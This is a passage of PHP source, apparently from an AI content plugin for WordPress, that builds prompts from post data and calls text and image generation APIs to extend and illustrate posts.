                        if (isset($aiomatic_Spinner_Settings['max_seed_tokens']) && $aiomatic_Spinner_Settings['max_seed_tokens'] != '')
                        {
                            $max_seed_tokens = intval($aiomatic_Spinner_Settings['max_seed_tokens']);
                        }
                        else
                        {
                            $max_seed_tokens = 500;
                        }
                        if (isset($aiomatic_Spinner_Settings['model']) && $aiomatic_Spinner_Settings['model'] != '')
                        {
                            $model = $aiomatic_Spinner_Settings['model'];
                        }
                        else
                        {
                            $model = get_default_model_name($aiomatic_Main_Settings);
                        }
                        if (isset($aiomatic_Spinner_Settings['append_assistant_id']) && $aiomatic_Spinner_Settings['append_assistant_id'] != '')
                        {
                            $assistant_id = $aiomatic_Spinner_Settings['append_assistant_id'];
                        }
                        else
                        {
                            $assistant_id = '';
                        }
                        if (isset($aiomatic_Spinner_Settings['headings_model']) && $aiomatic_Spinner_Settings['headings_model'] != '')
                        {
                            $headings_model = $aiomatic_Spinner_Settings['headings_model'];
                        }
                        else
                        {
                            $headings_model = get_default_model_name($aiomatic_Main_Settings);
                        }
                        if (isset($aiomatic_Spinner_Settings['headings_assistant_id']) && $aiomatic_Spinner_Settings['headings_assistant_id'] != '')
                        {
                            $headings_assistant_id = $aiomatic_Spinner_Settings['headings_assistant_id'];
                        }
                        else
                        {
                            $headings_assistant_id = '';
                        }
                        if (isset($aiomatic_Spinner_Settings['headings_ai_command']) && $aiomatic_Spinner_Settings['headings_ai_command'] != '')
                        {
                            $headings_ai_command = $aiomatic_Spinner_Settings['headings_ai_command'];
                        }
                        else
                        {
                            $headings_ai_command = 'Write %%needed_heading_count%% PAA related questions, each on a new line, for the title: %%post_title%%';
                        }
                        if (isset($aiomatic_Spinner_Settings['max_tokens']) && $aiomatic_Spinner_Settings['max_tokens'] != '')
                        {
                            $max_tokens = intval($aiomatic_Spinner_Settings['max_tokens']);
                        }
                        else
                        {
                            $max_tokens = AIOMATIC_DEFAULT_MAX_TOKENS;
                        }
                        
                        if($max_tokens <= 0)
                        {
                            $max_tokens = AIOMATIC_DEFAULT_MAX_TOKENS;
                        }
                        if($max_tokens > AIOMATIC_DEFAULT_MAX_TOKENS && ((!stristr($model, 'turbo') && !stristr($model, 'gpt-4')) || aiomatic_is_trained_model($model)))
                        {
                            $max_tokens = AIOMATIC_DEFAULT_MAX_TOKENS;
                        }
                        $updated = false;
                        if (isset($aiomatic_Spinner_Settings['append_spintax']) && $aiomatic_Spinner_Settings['append_spintax'] != '' && $aiomatic_Spinner_Settings['append_spintax'] != 'disabled')
                        {
                            $vision_file = '';
                            if (isset($aiomatic_Spinner_Settings['headings']) && $aiomatic_Spinner_Settings['headings'] != '')
                            {
                                $headings = intval($aiomatic_Spinner_Settings['headings']);
                            }
                            else
                            {
                                $headings = '';
                            }
                            if (isset($aiomatic_Spinner_Settings['ai_vision_add']) && $aiomatic_Spinner_Settings['ai_vision_add'] == 'on')
                            {
                                $avatar = get_the_post_thumbnail_url($post->ID, 'post-thumbnail');
                                if($avatar !== false)
                                {
                                    $vision_file = $avatar;
                                }
                            }
                            if (isset($aiomatic_Spinner_Settings['images']) && $aiomatic_Spinner_Settings['images'] != '')
                            {
                                $images = intval($aiomatic_Spinner_Settings['images']);
                            }
                            else
                            {
                                $images = '';
                            }
                            if (isset($aiomatic_Spinner_Settings['videos']) && $aiomatic_Spinner_Settings['videos'] != '')
                            {
                                $videos = $aiomatic_Spinner_Settings['videos'];
                            }
                            else
                            {
                                $videos = '';
                            }
                            if (isset($aiomatic_Spinner_Settings['max_result_tokens']) && $aiomatic_Spinner_Settings['max_result_tokens'] != '')
                            {
                                $max_result_tokens = intval($aiomatic_Spinner_Settings['max_result_tokens']);
                            }
                            else
                            {
                                $max_result_tokens = AIOMATIC_DEFAULT_MAX_TOKENS;
                            }
            
                            if (isset($aiomatic_Spinner_Settings['ai_command']) && $aiomatic_Spinner_Settings['ai_command'] != '')
                            {
                                $aicontent = trim(strip_tags($aiomatic_Spinner_Settings['ai_command']));
                                $aicontent = aiomatic_replaceSynergyShortcodes($aicontent);
                                $post_link = get_permalink($post->ID);
                                $blog_title       = html_entity_decode(get_bloginfo('title'));
                                $author_obj       = get_user_by('id', $post->post_author);
                                $user_name        = $author_obj->user_nicename;
                                $featured_image   = '';
                                wp_suspend_cache_addition(true);
                                $metas = get_post_custom($post->ID);
                                wp_suspend_cache_addition(false);
                                if(is_array($metas))
                                {
                                    $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas);
                                }
                                else
                                {
                                    $rez_meta = array();
                                }
                                if(count($rez_meta) > 0)
                                {
                                    foreach($rez_meta as $rm)
                                    {
                                        if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL))
                                        {
                                            $featured_image = $rm[0];
                                            break;
                                        }
                                    }
                                }
                                if($featured_image == '')
                                {
                                    $featured_image = aiomatic_generate_thumbmail($post->ID);
                                }
                                if($featured_image == '' && $final_content != '')
                                {
                                    $dom     = new DOMDocument();
                                    $internalErrors = libxml_use_internal_errors(true);
                                    $dom->loadHTML($final_content);
                                    libxml_use_internal_errors($internalErrors);
                                    $tags      = $dom->getElementsByTagName('img');
                                    foreach ($tags as $tag) {
                                        $temp_get_img = $tag->getAttribute('src');
                                        if ($temp_get_img != '') {
                                            $temp_get_img = strtok($temp_get_img, '?');
                                            $featured_image = rtrim($temp_get_img, '/');
                                        }
                                    }
                                }
                                $post_cats = '';
                                $post_categories = wp_get_post_categories( $post->ID );
                                foreach($post_categories as $c){
                                    $cat = get_category( $c );
                                    $post_cats .= $cat->name . ',';
                                }
                                $post_cats = trim($post_cats, ',');
                                if($post_cats != '')
                                {
                                    $post_categories = explode(',', $post_cats);
                                }
                                else
                                {
                                    $post_categories = array();
                                }
                                if(count($post_categories) == 0)
                                {
                                    $terms = get_the_terms( $post->ID, 'product_cat' );
                                    if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                        foreach ( $terms as $term ) {
                                            $post_categories[] = $term->slug;
                                        }
                                        $post_cats = implode(',', $post_categories);
                                    }
                                    
                                }
                                foreach($post_categories as $pc)
                                {
                                    if (!$manual && isset($aiomatic_Spinner_Settings['disabled_categories']) && !empty($aiomatic_Spinner_Settings['disabled_categories'])) {
                                        foreach($aiomatic_Spinner_Settings['disabled_categories'] as $disabled_cat)
                                        {
                                            if($manual != true && trim($pc) == get_cat_name($disabled_cat))
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                {
                                                    aiomatic_log_to_file('Skipping post, has a disabled category (' . get_cat_name($disabled_cat) . '): ' . $post->post_title);
                                                }
                                                return;
                                            }
                                        }
                                    }
                                }
                                $post_tagz = '';
                                $post_tags = wp_get_post_tags( $post->ID );
                                foreach($post_tags as $t){
                                    $post_tagz .= $t->name . ',';
                                }
                                $post_tagz = trim($post_tagz, ',');
                                if($post_tagz != '')
                                {
                                    $post_tags = explode(',', $post_tagz);
                                }
                                else
                                {
                                    $post_tags = array();
                                }
                                if(count($post_tags) == 0)
                                {
                                    $terms = get_the_terms( $post->ID, 'product_tag' );
                                    if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                        foreach ( $terms as $term ) {
                                            $post_tags[] = $term->slug;
                                        }
                                        $post_tagz = implode(',', $post_tags);
                                    }
                                    
                                }
                                foreach($post_tags as $pt)
                                {
                                    if (!$manual && isset($aiomatic_Spinner_Settings['disable_tags']) && $aiomatic_Spinner_Settings['disable_tags'] != '') {
                                        
                                        $disable_tags = explode(",", $aiomatic_Spinner_Settings['disable_tags']);
                                        foreach($disable_tags as $disabled_tag)
                                        {
                                            if($manual != true && trim($pt) == trim($disabled_tag))
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                {
                                                    aiomatic_log_to_file('Skipping post, has a disabled tag: ' . $post->post_title);
                                                }
                                                return;
                                            }
                                        }
                                    }
                                }
                                $aicontent = replaceAIPostShortcodes($aicontent, $post_link, $post_title, $blog_title, $post->post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $post->ID, '', '', '', '', '', '');
                            }
                            else
                            {
                                $aicontent = trim(strip_tags($final_content));
                                if(empty($aicontent))
                                {
                                    $aicontent = trim(strip_tags($post->post_excerpt));
                                }
                                if(empty($aicontent))
                                {
                                    $aicontent = trim(strip_tags($post_title));
                                    $last_char = aiomatic_substr($aicontent, -1, null);
                                    if(!ctype_punct($last_char))
                                    {
                                        $aicontent .= '.';
                                    }
                                }
                            }
                            $aicontent = str_replace('%%first_content_paragraph_plain_text%%', aiomatic_extract_paragraph($post->post_content, false, 500), $aicontent);
                            $aicontent = str_replace('%%last_content_paragraph_plain_text%%', aiomatic_extract_paragraph($post->post_content, true, 500), $aicontent);
                            $aicontent = str_replace('%%first_content_paragraph%%', aiomatic_extract_text_chars($post->post_content, false, 500), $aicontent);
                            $aicontent = str_replace('%%last_content_paragraph%%', aiomatic_extract_text_chars($post->post_content, true, 500), $aicontent);
                            $aicontent = trim($aicontent);
                            $query_token_count = count(aiomatic_encode($aicontent));
                            if($query_token_count > $max_seed_tokens)
                            {
                                $aicontent = aiomatic_substr($aicontent, 0, (0-($max_seed_tokens * 4)));
                                $query_token_count = count(aiomatic_encode($aicontent));
                            }
                            $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $aicontent, $query_token_count);
                            if($available_tokens > $max_result_tokens)
                            {
                                $available_tokens = $max_result_tokens;
                            }
                            if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                            {
                                $string_len = strlen($aicontent);
                                $string_len = $string_len / 2;
                                $string_len = intval(0 - $string_len);
                                $aicontent = aiomatic_substr($aicontent, 0, $string_len);
                                $aicontent = trim($aicontent);
                                if(empty($aicontent))
                                {
                                    aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($aicontent, true));
                                    return;
                                }
                                $query_token_count = count(aiomatic_encode($aicontent));
                                $available_tokens = $max_tokens - $query_token_count;
                            }
                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                            {
                                $api_service = aiomatic_get_api_service($token, $model);
                                aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '\\' . $model . ') Post Editor with seed command: ' . $aicontent);
                            }
                            $aierror = '';
                            $aiwriter = '';
                            $finish_reason = '';
                            $generated_text = aiomatic_generate_text($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'contentCompletion', 0, $finish_reason, $aierror, false, false, false, $vision_file, '', 'user', $assistant_id, $thread_id, '', 'disabled', '', true);
                            if($generated_text === false)
                            {
                                aiomatic_log_to_file($aierror);
                                return;
                            }
                            else
                            {
                                $aiwriter = ucfirst(trim(nl2br(trim($generated_text))));
                            }
                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                            {
                                $api_service = aiomatic_get_api_service($token, $model);
                                aiomatic_log_to_file($api_service . ' responded successfully, post edited, ID: ' . $post->ID);
                            }
                            $ai_created_data = '';
                            $prepp = ucfirst(trim(nl2br($aiwriter)));
                            if($prepp != false && $prepp != '')
                            {
                                $ai_created_data = $prepp;
                            }
                            $image_query = '';
                            $heading_val = '';
                            if(!empty($ai_created_data))
                            {
                                if($headings != '' && is_numeric($headings))
                                {
                                    $heading_results = aiomatic_scrape_related_questions($ai_created_data, $headings, $headings_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $headings_ai_command, $headings_assistant_id);
                                }
                                $need_more = true;
                                if (isset($aiomatic_Spinner_Settings['min_char']) && $aiomatic_Spinner_Settings['min_char'] != '') 
                                {
                                    $min_char = intval($aiomatic_Spinner_Settings['min_char']);
                                    $cnt = 1;
                                    $max_fails = 10;
                                    $failed_calls = 0;
                                    if (isset($aiomatic_Spinner_Settings['max_continue_tokens']) && $aiomatic_Spinner_Settings['max_continue_tokens'] != '')
                                    {
                                        $max_continue_tokens = intval($aiomatic_Spinner_Settings['max_continue_tokens']);
                                    }
                                    else
                                    {
                                        $max_continue_tokens = 1000;
                                    }
                                    $ai_retry = false;
                                    $ai_continue_title = $post_title;
                                    while(strlen(strip_tags($ai_created_data)) < $min_char)
                                    {
                                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) < $cnt)
                                        {
                                            break;
                                        }
                                        $need_more = false;
                                        $just_set_fallback = false;
                                        $image_query = '';
                                        $heading_val = '';
                                        if(count($heading_results) > 0)
                                        {
                                            $rand_heading = '';
                                            $saverand = array_rand($heading_results);
                                            $rand_heading = $heading_results[$saverand];
                                            unset($heading_results[$saverand]);
                                            if(isset($rand_heading['q']))
                                            {
                                                $rand_heading['q'] = preg_replace('#^\d+\.([\s\S]*)#i', '$1', $rand_heading['q']);
                                                $heading_val = '<h2>' . $rand_heading['q'] . '</h2>' . '<span>' . $rand_heading['a'];
                                                $image_query = $rand_heading['q'];
                                            }
                                        }
                                        if($heading_val == '')
                                        {
                                            $temp_post = trim($ai_created_data);
                                        }
                                        else
                                        {
                                            $temp_post = trim($heading_val);
                                        }
                                        if(strlen($temp_post) > $max_continue_tokens * 4)
                                        {
                                            $negative_contiue_tokens = 0 - ($max_continue_tokens * 4);
                                            $newaicontent = aiomatic_substr($temp_post, $negative_contiue_tokens, null);
                                        }
                                        else
                                        {
                                            $newaicontent = $temp_post;
                                        }
                                        $add_me_to_text = '';
                                        if($ai_retry == true)
                                        {
                                            $just_set_fallback = true;
                                            if (isset($aiomatic_Main_Settings['alternate_continue']) && $aiomatic_Main_Settings['alternate_continue'] == 'on')
                                            {
                                                $newaicontent = $newaicontent . ' ' . $ai_continue_title;
                                            }
                                            else
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                {
                                                    $api_service = aiomatic_get_api_service($token, $model);
                                                    aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '\\' . $model . ') PAA writer with seed command: ' . 'Write a People Also Asked question related to "' . $ai_continue_title . '"');
                                                }
                                                $aierror = '';
                                                $finish_reason = '';
                                                $generated_text = aiomatic_generate_text($token, $model, 'Write a People Also Asked question related to "' . $ai_continue_title . '"', AIOMATIC_DEFAULT_MAX_TOKENS, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'headingCompletion', 0, $finish_reason, $aierror, true, false, false, $vision_file, '', 'user', $assistant_id, $thread_id, '', 'disabled', '', true);
                                                if($generated_text === false)
                                                {
                                                    aiomatic_log_to_file('Similarity finding failed: ' . $aierror);
                                                    $newaicontent = $aicontent;
                                                }
                                                else
                                                {
                                                    $newaicontent = ucfirst(trim(nl2br(trim($generated_text))));
                                                    if(empty($newaicontent))
                                                    {
                                                        $newaicontent = $aicontent;
                                                    }
                                                    else
                                                    {
                                                        $newaicontent = preg_replace('#^\d+\.([\s\S]*)#i', '$1', $newaicontent);
                                                        $add_me_to_text = '<h3>' . $newaicontent . '</h3> ';
                                                        $ai_continue_title = $newaicontent;
                                                    }
                                                }
                                            }
                                        }
                                        $ai_retry = false;
                                        $newaicontent = trim($newaicontent);
                                        $query_token_count = count(aiomatic_encode($newaicontent));
                                        $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $newaicontent, $query_token_count);
                                        if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                        {
                                            $string_len = strlen($newaicontent);
                                            $string_len = $string_len / 2;
                                            $string_len = intval(0 - $string_len);
                                            $newaicontent = aiomatic_substr($newaicontent, 0, $string_len);
                                            $newaicontent = trim($newaicontent);
                                            if(empty($newaicontent))
                                            {
                                                aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($temp_post, true));
                                                break;
                                            }
                                            $query_token_count = count(aiomatic_encode($newaicontent));
                                            $available_tokens = $max_tokens - $query_token_count;
                                        }
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            $api_service = aiomatic_get_api_service($token, $model);
                                            aiomatic_log_to_file('Calling ' . $api_service . ' again (' . $cnt . ') from text editor, to meet minimum character limit: ' . $min_char . ' - current char count: ' . strlen(strip_tags($ai_created_data)));
                                        }
                                        $aierror = '';
                                        $aiwriter = '';
                                        $finish_reason = '';
                                        $generated_text = aiomatic_generate_text($token, $model, $newaicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'contentCompletion', 0, $finish_reason, $aierror, false, false, false, $vision_file, '', 'user', $assistant_id, $thread_id, '', 'disabled', '', true);
                                        if($generated_text === false)
                                        {
                                            aiomatic_log_to_file($aierror);
                                            break;
                                        }
                                        else
                                        {
                                            $aiwriter = $add_me_to_text . ucfirst(trim(nl2br(trim($generated_text))));
                                        }
                                        
                                        if($aiwriter == '')
                                        {
                                            $ai_retry = true;
                                            if($just_set_fallback == true)
                                            {
                                                aiomatic_log_to_file('Ending execution, already retried once');
                                                break;
                                            }
                                            continue;
                                        }
                                        $add_my_image = '';
            
                                        $temp_get_img = '';
                                        if($images != '' && is_numeric($images) && $images > $added_images)
                                        {
                                            $query_words = '';
                                            if($image_query == '')
                                            {
                                                $image_query = $temp_post;
                                            }
                                            if (isset($aiomatic_Spinner_Settings['enable_ai_images']) && ($aiomatic_Spinner_Settings['enable_ai_images'] == '1' || $aiomatic_Spinner_Settings['enable_ai_images'] == 'on')) 
                                            {
                                                if (isset($aiomatic_Spinner_Settings['image_size']) && trim($aiomatic_Spinner_Settings['image_size']) != '')
                                                {
                                                    $image_size = trim($aiomatic_Spinner_Settings['image_size']);
                                                }
                                                else
                                                {
                                                    $image_size = '1024x1024';
                                                }
                                                if (isset($aiomatic_Spinner_Settings['image_model']) && trim($aiomatic_Spinner_Settings['image_model']) != '')
                                                {
                                                    $image_model = trim($aiomatic_Spinner_Settings['image_model']);
                                                }
                                                else
                                                {
                                                    $image_model = 'dalle2';
                                                }
                                                $get_img = '';
                                                $query_words = $post_title;
                                                if($image_query == '')
                                                {
                                                    $image_query = $temp_post;
                                                }
                                                $orig_ai_command_image = '';
                                                if (isset($aiomatic_Spinner_Settings['ai_image_command']) && $aiomatic_Spinner_Settings['ai_image_command'] != '')
                                                {
                                                    $orig_ai_command_image = $aiomatic_Spinner_Settings['ai_image_command'];
                                                }
                                                if($orig_ai_command_image == '')
                                                {
                                                    $orig_ai_command_image = $image_query;
                                                }
                                                if($orig_ai_command_image != '')
                                                {
                                                    $ai_command_image = $orig_ai_command_image;
                                                    $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                    $ai_command_image = array_filter($ai_command_image);
                                                    if(count($ai_command_image) > 0)
                                                    {
                                                        $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                    }
                                                    else
                                                    {
                                                        $ai_command_image = '';
                                                    }
                                                    $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                    if(!empty($ai_command_image))
                                                    {
                                                        $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                                    }
                                                    else
                                                    {
                                                        $ai_command_image = trim(strip_tags($post_title));
                                                    }
                                                    $ai_command_image = trim($ai_command_image);
                                                    if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                                    {
                                                        $txt_content = aiomatic_get_web_page($ai_command_image);
                                                        if ($txt_content !== FALSE) 
                                                        {
                                                            $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                            $txt_content = array_filter($txt_content);
                                                            if(count($txt_content) > 0)
                                                            {
                                                                $txt_content = $txt_content[array_rand($txt_content)];
                                                                if(trim($txt_content) != '') 
                                                                {
                                                                    $ai_command_image = $txt_content;
                                                                    $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                                    $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                                                }
                                                            }
                                                        }
                                                    }
                                                    if(empty($ai_command_image))
                                                    {
                                                        aiomatic_log_to_file('Empty API image seed expression provided!');
                                                    }
                                                    else
                                                    {
                                                        if(strlen($ai_command_image) > 400)
                                                        {
                                                            $ai_command_image = aiomatic_substr($ai_command_image, 0, 400);
                                                        }
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                        {
                                                            $api_service = aiomatic_get_api_service($token, $image_model);
                                                            aiomatic_log_to_file('Calling ' . $api_service . ' for image: ' . $ai_command_image);
                                                        }
                                                        $aierror = '';
                                                        $get_img = aiomatic_generate_ai_image($token, 1, $ai_command_image, $image_size, 'editContentImage', false, 0, $aierror, $image_model);
                                                        if($get_img !== false)
                                                        {
                                                            foreach($get_img as $tmpimg)
                                                            {
                                                                $added_images++;
                                                                $added_img_list[] = $tmpimg;
                                                                $temp_get_img = $tmpimg;
                                                            }
                                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                            {
                                                                aiomatic_log_to_file('AI generated image returned: ' . $tmpimg);
                                                            }
                                                        }
                                                        else
                                                        {
                                                            aiomatic_log_to_file('Failed to generate AI image: ' . $aierror);
                                                            $get_img = '';
                                                        }
                                                    }
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Empty AI image query entered.');
                                                }
                                            }
                                            elseif (isset($aiomatic_Spinner_Settings['enable_ai_images']) && $aiomatic_Spinner_Settings['enable_ai_images'] == '2') 
                                            {
                                                if (isset($aiomatic_Spinner_Settings['image_size']) && trim($aiomatic_Spinner_Settings['image_size']) != '')
                                                {
                                                    $image_size = trim($aiomatic_Spinner_Settings['image_size']);
                                                }
                                                else
                                                {
                                                    $image_size = '1024x1024';
                                                }
                                                $get_img = '';
                                                $query_words = $post_title;
                                                if($image_query == '')
                                                {
                                                    $image_query = $temp_post;
                                                }
                                                $orig_ai_command_image = '';
                                                if (isset($aiomatic_Spinner_Settings['ai_image_command']) && $aiomatic_Spinner_Settings['ai_image_command'] != '')
                                                {
                                                    $orig_ai_command_image = $aiomatic_Spinner_Settings['ai_image_command'];
                                                }
                                                if($orig_ai_command_image == '')
                                                {
                                                    $orig_ai_command_image = $image_query;
                                                }
                                                if($orig_ai_command_image != '')
                                                {
                                                    $ai_command_image = $orig_ai_command_image;
                                                    $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                    $ai_command_image = array_filter($ai_command_image);
                                                    if(count($ai_command_image) > 0)
                                                    {
                                                        $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                    }
                                                    else
                                                    {
                                                        $ai_command_image = '';
                                                    }
                                                    $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                    if(!empty($ai_command_image))
                                                    {
                                                        $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                                    }
                                                    else
                                                    {
                                                        $ai_command_image = trim(strip_tags($post_title));
                                                    }
                                                    $ai_command_image = trim($ai_command_image);
                                                    if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                                    {
                                                        $txt_content = aiomatic_get_web_page($ai_command_image);
                                                        if ($txt_content !== FALSE) 
                                                        {
                                                            $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                            $txt_content = array_filter($txt_content);
                                                            if(count($txt_content) > 0)
                                                            {
                                                                $txt_content = $txt_content[array_rand($txt_content)];
                                                                if(trim($txt_content) != '') 
                                                                {
                                                                    $ai_command_image = $txt_content;
                                                                    $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                                    $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                                                }
                                                            }
                                                        }
                                                    }
                                                    if(empty($ai_command_image))
                                                    {
                                                        aiomatic_log_to_file('Empty API image seed expression provided!');
                                                    }
                                                    else
                                                    {
                                                        if(strlen($ai_command_image) > 2000)
                                                        {
                                                            $ai_command_image = aiomatic_substr($ai_command_image, 0, 2000);
                                                        }
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                        {
                                                            $api_service = 'Stability.AI';
                                                            aiomatic_log_to_file('Calling ' . $api_service . ' for image: ' . $ai_command_image);
                                                        }
                                                        if($image_size == '256x256')
                                                        {
                                                            $width = '512';
                                                            $height = '512';
                                                        }
                                                        elseif($image_size == '512x512')
                                                        {
                                                            $width = '512';
                                                            $height = '512';
                                                        }
                                                        elseif($image_size == '1024x1024')
                                                        {
                                                            $width = '1024';
                                                            $height = '1024';
                                                        }
                                                        else
                                                        {
                                                            $width = '512';
                                                            $height = '512';
                                                        }
                                                        $ierror = '';
                                                        $temp_get_imgs = aiomatic_generate_stability_image($ai_command_image, $height, $width, 'editorContentStableImage', 0, false, $ierror, false, false);
                                                        if($temp_get_imgs !== false)
                                                        {
                                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                            {
                                                                aiomatic_log_to_file('AI generated image returned: ' . $temp_get_imgs[1]);
                                                            }
                                                            $added_images++;
                                                            $added_img_list[] = $temp_get_imgs[1];
                                                            $temp_get_img = $temp_get_imgs[1];
                                                        }
                                                        else
                                                        {
                                                            aiomatic_log_to_file('Failed to generate Stability.AI image: ' . $ierror);
                                                            $temp_get_img = '';
                                                        }
                                                    }
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Empty AI image query entered.');
                                                }
                                            }
                                            elseif (isset($aiomatic_Spinner_Settings['enable_ai_images']) && $aiomatic_Spinner_Settings['enable_ai_images'] == '3') 
                                            {
                                                if (isset($aiomatic_Spinner_Settings['image_size']) && trim($aiomatic_Spinner_Settings['image_size']) != '')
                                                {
                                                    $image_size = trim($aiomatic_Spinner_Settings['image_size']);
                                                }
                                                else
                                                {
                                                    $image_size = '1024x1024';
                                                }
                                                $get_img = '';
                                                $query_words = $post_title;
                                                if($image_query == '')
                                                {
                                                    $image_query = $temp_post;
                                                }
                                                $orig_ai_command_image = '';
                                                if (isset($aiomatic_Spinner_Settings['ai_image_command']) && $aiomatic_Spinner_Settings['ai_image_command'] != '')
                                                {
                                                    $orig_ai_command_image = $aiomatic_Spinner_Settings['ai_image_command'];
                                                }
                                                if($orig_ai_command_image == '')
                                                {
                                                    $orig_ai_command_image = $image_query;
                                                }
                                                if($orig_ai_command_image != '')
                                                {
                                                    $ai_command_image = $orig_ai_command_image;
                                                    $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                    $ai_command_image = array_filter($ai_command_image);
                                                    if(count($ai_command_image) > 0)
                                                    {
                                                        $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                    }
                                                    else
                                                    {
                                                        $ai_command_image = '';
                                                    }
                                                    $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                    if(!empty($ai_command_image))
                                                    {
                                                        $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                                    }
                                                    else
                                                    {
                                                        $ai_command_image = trim(strip_tags($post_title));
                                                    }
                                                    $ai_command_image = trim($ai_command_image);
                                                    if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                                    {
                                                        $txt_content = aiomatic_get_web_page($ai_command_image);
                                                        if ($txt_content !== FALSE) 
                                                        {
                                                            $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                            $txt_content = array_filter($txt_content);
                                                            if(count($txt_content) > 0)
                                                            {
                                                                $txt_content = $txt_content[array_rand($txt_content)];
                                                                if(trim($txt_content) != '') 
                                                                {
                                                                    $ai_command_image = $txt_content;
                                                                    $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                                    $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                                                }
                                                            }
                                                        }
                                                    }
                                                    if(empty($ai_command_image))
                                                    {
                                                        aiomatic_log_to_file('Empty API image seed expression provided!');
                                                    }
                                                    else
                                                    {
                                                        if(strlen($ai_command_image) > 2000)
                                                        {
                                                            $ai_command_image = aiomatic_substr($ai_command_image, 0, 2000);
                                                        }
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                        {
                                                            $api_service = 'GoAPI (Midjourney)';
                                                            aiomatic_log_to_file('Calling ' . $api_service . ' for image: ' . $ai_command_image);
                                                        }
                                                        if($image_size == '256x256')
                                                        {
                                                            $width = '512';
                                                            $height = '512';
                                                        }
                                                        elseif($image_size == '512x512')
                                                        {
                                                            $width = '512';
                                                            $height = '512';
                                                        }
                                                        elseif($image_size == '1024x1024')
                                                        {
                                                            $width = '1024';
                                                            $height = '1024';
                                                        }
                                                        elseif($image_size == '1792x1024')
                                                        {
                                                            $width = '1792';
                                                            $height = '1024';
                                                        }
                                                        elseif($image_size == '1024x1792')
                                                        {
                                                            $width = '1024';
                                                            $height = '1792';
                                                        }
                                                        else
                                                        {
                                                            $width = '512';
                                                            $height = '512';
                                                        }
                                                        $ierror = '';
